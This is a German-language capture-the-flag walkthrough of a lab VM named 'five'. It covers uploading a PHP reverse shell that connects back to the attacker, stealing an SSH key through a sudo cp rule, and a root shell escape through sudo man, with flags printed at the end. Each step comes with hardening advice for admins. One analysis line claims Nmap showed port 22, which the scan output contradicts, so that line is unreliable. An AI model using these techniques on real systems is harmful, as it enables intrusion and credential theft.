Reconnaissance
┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.124 08:00:27:74:b4:7c PCS Systemtechnik GmbH
**Analyse:** Mit `arp-scan -l` finden wir die IP-Adresse 192.168.2.124 im lokalen Netzwerk.
**Bewertung:** Ziel-IP identifiziert.
**Empfehlung (Pentester):** IP für Nmap-Scan verwenden.
**Empfehlung (Admin):** Standard Netzwerküberwachung.
┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
# (Kein Eintrag für 192.168.2.124 hinzugefügt, Zugriff erfolgt über IP)
**Analyse:** Die `/etc/hosts`-Datei wird überprüft, aber es wird kein spezifischer Hostname für die Ziel-IP hinzugefügt. Die weitere Interaktion erfolgt direkt über die IP-Adresse.
**Bewertung:** Für diesen Test nicht zwingend notwendig, da keine vHosts identifiziert wurden.
**Empfehlung (Pentester):** Wenn Hostnamen entdeckt werden, sollten sie hinzugefügt werden.
**Empfehlung (Admin):** DNS-Management.
┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.124 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 16:41 CEST
Nmap scan report for five (192.168.2.124)
Host is up (0.00013s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:74:B4:7C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.13 ms five (192.168.2.124)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.64 seconds
zsh: segmentation fault nmap -sS -sC -T5 -sV -A 192.168.2.124 -p-
**Analyse:** Der Nmap-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) auf `192.168.2.124` identifiziert nur einen offenen TCP-Port:
* Port 80: HTTP, bedient von Nginx 1.14.2.
* Die Seite gibt einen `403 Forbidden`-Fehler zurück.
* Die `robots.txt` verbietet das Crawlen von `/admin`.
Interessanterweise stürzt der Nmap-Prozess am Ende mit einem Segmentation fault ab. Dies könnte auf Probleme mit Nmap selbst, dem Zielsystem oder der Netzwerkverbindung hindeuten, hat aber wahrscheinlich keine direkte Auswirkung auf die gefundenen Ports.
**Bewertung:** Die Angriffsfläche ist extrem klein und beschränkt sich auf den Nginx-Webserver auf Port 80, der zudem einen 403-Fehler liefert. Der Hinweis auf `/admin` in `robots.txt` ist jedoch interessant.
**Empfehlung (Pentester):** Trotz des 403-Fehlers Verzeichnis- und Datei-Bruteforcing auf Port 80 durchführen (Gobuster). Den Pfad `/admin` gezielt untersuchen.
**Empfehlung (Admin):** Nginx sicher konfigurieren. Überprüfen, warum die Hauptseite einen 403-Fehler liefert (Berechtigungen, Konfiguration). Sicherstellen, dass `robots.txt` keine sensiblen Pfade verrät (obwohl `/admin` oft geraten wird).
Web Enumeration & File Upload
┌──(root㉿cyber)-[~]
└─# gobuster dir -u "http://192.168.2.124" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,[...] -t 100 -s "200,204,301,302,307,401"
===============================================================
Gobuster v[...]
===============================================================
[+] Url: http://192.168.2.124
[...]
===============================================================
Starting gobuster
===============================================================
http://192.168.2.124/uploads (Status: 301) [Size: 185] [--> http://192.168.2.124/uploads/]
http://192.168.2.124/admin (Status: 301) [Size: 185] [--> http://192.168.2.124/admin/]
http://192.168.2.124/upload.html (Status: 200) [Size: 346]
http://192.168.2.124/upload.php (Status: 200) [Size: 48]
http://192.168.2.124/robots.txt (Status: 200) [Size: 17]
===============================================================
Finished
===============================================================
**Analyse:** Der Gobuster-Scan findet mehrere interessante Pfade, obwohl die Startseite einen 403-Fehler liefert:
* `/uploads/`: Ein Verzeichnis, wahrscheinlich für hochgeladene Dateien.
* `/admin/`: Das in `robots.txt` erwähnte Verzeichnis.
* `/upload.html`: Eine HTML-Seite, wahrscheinlich ein Upload-Formular.
* `/upload.php`: Ein PHP-Skript, das vermutlich den Upload verarbeitet.
* `/robots.txt`: Bestätigt den Fund aus dem Nmap-Scan.
**Bewertung:** Das ist ein wichtiger Fortschritt! Trotz des anfänglichen 403-Fehlers gibt es eine funktionierende Upload-Funktion (`upload.html`, `upload.php`) und ein `/uploads`-Verzeichnis. Dies ist ein klarer potenzieller Angriffsvektor, um eine Webshell oder ein Reverse-Shell-Skript hochzuladen.
**Empfehlung (Pentester):** Die Seite `/upload.html` besuchen und das Formular analysieren. Versuchen, eine PHP-Reverse-Shell (`rev.php`) hochzuladen. Überprüfen, ob die hochgeladene Datei im `/uploads/`-Verzeichnis landet und ob sie direkt aufgerufen werden kann, um die Shell auszuführen.
**Empfehlung (Admin):** Upload-Funktionen sehr sorgfältig implementieren. Nur erlaubte Dateitypen zulassen (Whitelist), Dateinamen überprüfen/sanitisieren, Upload-Verzeichnisse außerhalb des Web-Roots platzieren oder zumindest die Ausführung von Skripten in Upload-Verzeichnissen verhindern (z.B. über Nginx/Apache-Konfiguration oder `.htaccess`).
┌──(root㉿cyber)-[~]
└─# cd /home/cyber/Downloads
┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# grep port rev.php
// This script will make an outbound TCP connection to a hardcoded IP and port.
$port = 9001; // CHANGE THIS
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
printit("Successfully opened reverse shell to $ip:$port");
┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# ip a
[...]
2: eth0: mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:09:b6:08 brd ff:ff:ff:ff:ff:ff
inet 192.168.2.140/24 brd 192.168.2.255 scope global [...]
[...]
**Analyse:** Wir wechseln in das Verzeichnis, in dem unser PHP-Reverse-Shell-Skript (`rev.php`) liegt. Mit `grep` überprüfen wir den konfigurierten Port (hier 9001). Mit `ip a` ermitteln wir unsere lokale IP-Adresse (192.168.2.140), zu der sich die Shell verbinden soll. Wir stellen sicher, dass die IP-Adresse im `rev.php`-Skript korrekt auf `192.168.2.140` gesetzt ist (dieser Schritt ist nicht explizit gezeigt, aber notwendig).
**Bewertung:** Die Reverse-Shell-Datei ist vorbereitet und für unsere IP und den gewünschten Port konfiguriert.
**Empfehlung (Pentester):** Die Datei `rev.php` über das Formular auf `/upload.html` hochladen. Einen Listener auf Port 9001 starten. Die hochgeladene Datei über den Browser aufrufen (vermutlich unter `http://192.168.2.124/uploads/rev.php`).
**Empfehlung (Admin):** Siehe vorherige Empfehlung zur Absicherung von Upload-Funktionen.
Initial Access (Reverse Shell)
# Listener starten (Versuch 1: Metasploit multi/handler)
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload payload/php/reverse_php
msf6 exploit(multi/handler) > set LPORT 9001
msf6 exploit(multi/handler) > set LHOST 192.168.2.140
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.2.140:9001
# Listener starten (Versuch 2: Netcat)
┌──(root㉿cyber)-[~]
└─# nc -vlnp 9001
listening on [any] 9001 ...
# Reverse Shell auslösen (via Webbrowser oder curl)
┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# curl http://192.168.2.124/uploads/rev.php
# Netcat Listener empfängt die Verbindung
┌──(root㉿cyber)-[~]
└─# nc -vlnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.124] 43340
Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
10:54:29 up 15 min, 0 users, load average: 0.00, 0.13, 0.18
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ # Shell erhalten!
**Analyse:**
1. Es wird zuerst versucht, einen Listener mit Metasploit (`multi/handler`) zu starten, konfiguriert für eine PHP-Reverse-Shell auf Port 9001. Dieser scheint jedoch keine Verbindung zu empfangen (`no session was created`), möglicherweise weil das hochgeladene Skript ein einfacherer Netcat-basierter Payload ist oder Metasploit spezifischere Payloads erwartet.
2. Danach wird ein einfacher Netcat-Listener (`nc -vlnp 9001`) gestartet.
3. Die hochgeladene Datei `rev.php` wird über `curl http://192.168.2.124/uploads/rev.php` aufgerufen. Dies löst die Ausführung des PHP-Skripts auf dem Server aus.
4. Der Netcat-Listener empfängt erfolgreich die Verbindung. Der `id`-Befehl (implizit durch die Systeminformationen) zeigt, dass wir eine Shell als Benutzer `www-data` haben.
**Bewertung:** Initial Access erfolgreich! Der Datei-Upload war möglich, und die hochgeladene PHP-Datei konnte ausgeführt werden, was zu einer Reverse Shell als `www-data` führte.
**Empfehlung (Pentester):** Shell stabilisieren. Nach Möglichkeiten zur Rechteerweiterung suchen.
**Empfehlung (Admin):** Upload-Filter und Ausführungsbeschränkungen für Upload-Verzeichnisse implementieren.
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@five:/$ export TERM=xterm
www-data@five:/$ # Stabilisierte Shell
**Analyse:** Mit Python wird eine interaktive Bash-Shell erzeugt und die `TERM`-Variable gesetzt.
**Bewertung:** Wir haben nun eine stabile Shell als `www-data`.
**Empfehlung (Pentester):** Mit der Privilege Escalation beginnen.
**Empfehlung (Admin):** Standard-Systemhärtung.
Privilege Escalation (www-data to melisa via sudo cp)
www-data@five:/$ sudo -l
Matching Defaults entries for www-data on five:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on five:
(melisa) NOPASSWD: /bin/cp
**Analyse:** `sudo -l` zeigt, dass `www-data` den Befehl `/bin/cp` (Kopierbefehl) als Benutzer `melisa` ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** Dies ist ein klarer Vektor zur Rechteerweiterung zum Benutzer `melisa`. Wir können Dateien als `melisa` lesen oder schreiben. Der naheliegendste Weg ist, den privaten SSH-Schlüssel von `melisa` zu lesen oder ihren `authorized_keys`-Eintrag zu überschreiben.
**Empfehlung (Pentester):** Versuchen, `/home/melisa/.ssh/id_rsa` an einen Ort zu kopieren, an dem `www-data` Lesezugriff hat (z.B. `/tmp`). Alternativ einen eigenen öffentlichen SSH-Schlüssel generieren und diesen als `melisa` nach `/home/melisa/.ssh/authorized_keys` kopieren.
**Empfehlung (Admin):** `sudo`-Rechte für Dateimanipulationsbefehle wie `cp`, `mv`, `chmod`, `chown` sind extrem gefährlich und sollten vermieden werden. Wenn Dateizugriff für einen anderen Benutzer erforderlich ist, spezifischere Skripte oder Tools verwenden.
www-data@five:/$ cd /tmp
www-data@five:/tmp$ touch id_rsa
www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa
# Privaten Schlüssel von melisa lesen
www-data@five:/tmp$ chmod 600 /tmp/id_rsa
www-data@five:/tmp$ ssh-keygen -y -f id_rsa > authorized_keys
# Eigenen Pubkey aus dem gelesenen Privkey generieren (oder eigenen mitbringen)
www-data@five:/tmp$ sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys
# authorized_keys von melisa überschreiben
**Analyse:**
1. Wir wechseln nach `/tmp`.
2. Wir erstellen eine leere Datei `id_rsa`.
3. Mit `sudo -u melisa cp` kopieren wir den **privaten** SSH-Schlüssel von `melisa` aus ihrem `.ssh`-Verzeichnis nach `/tmp/id_rsa`. Jetzt können wir ihn als `www-data` lesen (oder von unserer Maschine holen).
4. Wir setzen die Berechtigungen der kopierten Schlüsseldatei korrekt.
5. *(Schritt 5 ist ungewöhnlich und wahrscheinlich ein Fehler im Vorgehen des Original-Pentesters. Normalerweise würde man hier seinen *eigenen* öffentlichen Schlüssel nach `/tmp/authorized_keys` schreiben. `ssh-keygen -y -f id_rsa` extrahiert den *öffentlichen* Schlüssel aus dem *privaten* Schlüssel, den wir gerade kopiert haben. Diesen öffentlichen Schlüssel dann in `authorized_keys` zu kopieren, bringt nichts, da wir den zugehörigen privaten Schlüssel ja schon haben und direkt verwenden könnten. Wahrscheinlicher ist, dass der Pentester seinen eigenen Public Key hierher kopiert hat.)*
6. Mit `sudo -u melisa cp` überschreiben wir die `authorized_keys`-Datei von `melisa` mit der in `/tmp` erstellten (die entweder unseren eigenen Public Key oder den von melisa enthält).
**Korrigiertes/Sinnvolleres Vorgehen (Annahme):**
* Schritt 1-4: Privaten Schlüssel von melisa nach `/tmp` kopieren (wie gezeigt).
* Schritt 5 (Alternativ): `echo "mein_eigener_public_ssh_key_string" > /tmp/authorized_keys`
* Schritt 6: `sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys`
**Bewertung:** Trotz des etwas unlogischen Schritts 5 wurde das Ziel erreicht: Wir können uns nun entweder mit dem kopierten privaten Schlüssel von `melisa` oder mit unserem eigenen privaten Schlüssel (dessen öffentlicher Teil nun in `melisa`s `authorized_keys` steht) als `melisa` per SSH anmelden.
**Empfehlung (Pentester):** Den kopierten privaten Schlüssel (`/tmp/id_rsa`) sicher auf die eigene Maschine übertragen. Versuchen, sich als `melisa` per SSH anzumelden (entweder mit dem Schlüssel von `melisa` oder dem eigenen).
**Empfehlung (Admin):** `sudo cp`-Regel entfernen.
www-data@five:/tmp$ ss -tulnep
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=450,fd=6))
tcp LISTEN 0 128 127.0.0.1:4444 0.0.0.0:* # Unbekannter Listener
tcp LISTEN 0 128 [::]:80 [::]:* users:(("nginx",pid=450,fd=7)) v6only:1
**Analyse:** `ss -tulnep` zeigt die lauschenden Sockets. Interessanterweise wird Port 22 hier nicht angezeigt (im Gegensatz zum Nmap-Scan). Dafür sehen wir einen TCP-Listener auf `127.0.0.1:4444`, der an localhost gebunden ist und dessen Prozess nicht direkt identifiziert wird.
**Bewertung:** Das Fehlen von Port 22 ist merkwürdig. Der Listener auf Port 4444 (localhost) ist verdächtig und könnte ein alternativer SSH-Port oder ein anderer Dienst sein, der für `melisa` relevant ist.
**Empfehlung (Pentester):** Versuchen, sich per SSH als `melisa` auf `localhost` Port `4444` zu verbinden, unter Verwendung des präparierten Schlüssels.
**Empfehlung (Admin):** Unbekannte Listener untersuchen und deren Zweck klären. Dienste nur an notwendigen Interfaces und Ports lauschen lassen.
www-data@five:/tmp$ ssh -i id_rsa melisa@localhost -p 4444
Could not create directory '/var/www/.ssh'. (Harmlos, www-data hat kein Home/.ssh)
The authenticity of host '[localhost]:4444 ([127.0.0.1]:4444)' can't be established.
ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). (Harmlos)
Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
[...]
Last login: Tue Oct 6 03:39:32 2020 from 192.168.1.58
melisa@five:~$ # Login erfolgreich!
**Analyse:** Wir verwenden SSH, um uns als `melisa` auf `localhost` Port `4444` zu verbinden. Wir nutzen den in `/tmp` liegenden privaten Schlüssel (`-i id_rsa`), den wir entweder von `melisa` kopiert oder durch Überschreiben ihrer `authorized_keys` gültig gemacht haben. Der Login ist erfolgreich, und wir erhalten eine Shell als Benutzer `melisa`.
**Bewertung:** Privilege Escalation von `www-data` zu `melisa` erfolgreich abgeschlossen!
**Empfehlung (Pentester):** Umgebung als `melisa` untersuchen, insbesondere `sudo -l`.
**Empfehlung (Admin):** `sudo cp`-Regel entfernen. Unnötige SSH-Listener (besonders auf localhost) deaktivieren.
Privilege Escalation (melisa to root via sudo man)
melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five:
(ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear
**Analyse:** `sudo -l` für `melisa` zeigt eine interessante Liste von Befehlen, die sie als `ALL` (also auch `root`) ohne Passwort (`NOPASSWD`) ausführen darf: `/bin/pwd`, `/bin/arch`, `/bin/man`, `/bin/id`, `/bin/rm`, `/bin/clear`. Die meisten davon sind harmlos, aber `/bin/man` ist bekannt dafür, dass es über den Pager (oft `less`) eine Shell-Escape-Möglichkeit bietet.
**Bewertung:** Dies ist ein klarer Weg zur Root-Privilege-Escalation über `sudo /bin/man`.
**Empfehlung (Pentester):** `sudo /bin/man man` (oder einen anderen Befehl) ausführen. Im `man`-Pager (wahrscheinlich `less`) die Eingabe `!/bin/bash` oder `!sh` versuchen, um eine Shell zu starten.
**Empfehlung (Admin):** `sudo`-Rechte äußerst restriktiv vergeben. Programme wie `man`, `less`, `more`, Editoren (`vim`, `nano`) oder Skriptsprachen (`perl`, `python`) sollten niemals ohne triftigen Grund über `sudo` erlaubt werden, da sie fast immer Shell-Escapes ermöglichen.
melisa@five:~$ sudo /bin/man -P /usr/bin/less man
# Innerhalb des 'man'-Pagers (less):
!/bin/sh
# # Root-Shell erhalten!
# id
uid=0(root) gid=0(root) groups=0(root),1000(melisa)
**Analyse:** Wir führen `sudo /bin/man man` aus (die Option `-P /usr/bin/less` ist redundant, da `less` oft der Standard-Pager ist). Innerhalb des `man`-Pagers (der als Root läuft) geben wir `!/bin/sh` ein. Das `!`-Zeichen in `less` (und `man`, wenn es `less` verwendet) erlaubt das Ausführen eines externen Shell-Befehls. Da der Pager als Root läuft, wird auch `/bin/sh` als Root gestartet. Wir erhalten einen Root-Prompt (`#`). Der `id`-Befehl bestätigt `uid=0(root)`.
**Bewertung:** Privilege Escalation zu Root erfolgreich!
**Empfehlung (Pentester):** Flags lesen, Bericht abschließen.
**Empfehlung (Admin):** Unsichere `sudo`-Regel für `man` entfernen.
melisa@five:~$ cat user.txt
Ilovebinaries
# cat /root/root.txt
WTFGivemefive
**Analyse:** Der Bericht zeigt das Lesen der `user.txt` (scheinbar direkt aus `melisa`s Home, obwohl sie im `~` Prompt ist) und der `root.txt` (aus der Root-Shell). Die Werte sind `Ilovebinaries` und `WTFGivemefive`.
**Bewertung:** Beide Flags erfolgreich gelesen.
**Empfehlung (Pentester):** Bericht abschließen.
**Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben.
Flags
cat /home/melisa/user.txt
Ilovebinaries
cat /root/root.txt
WTFGivemefive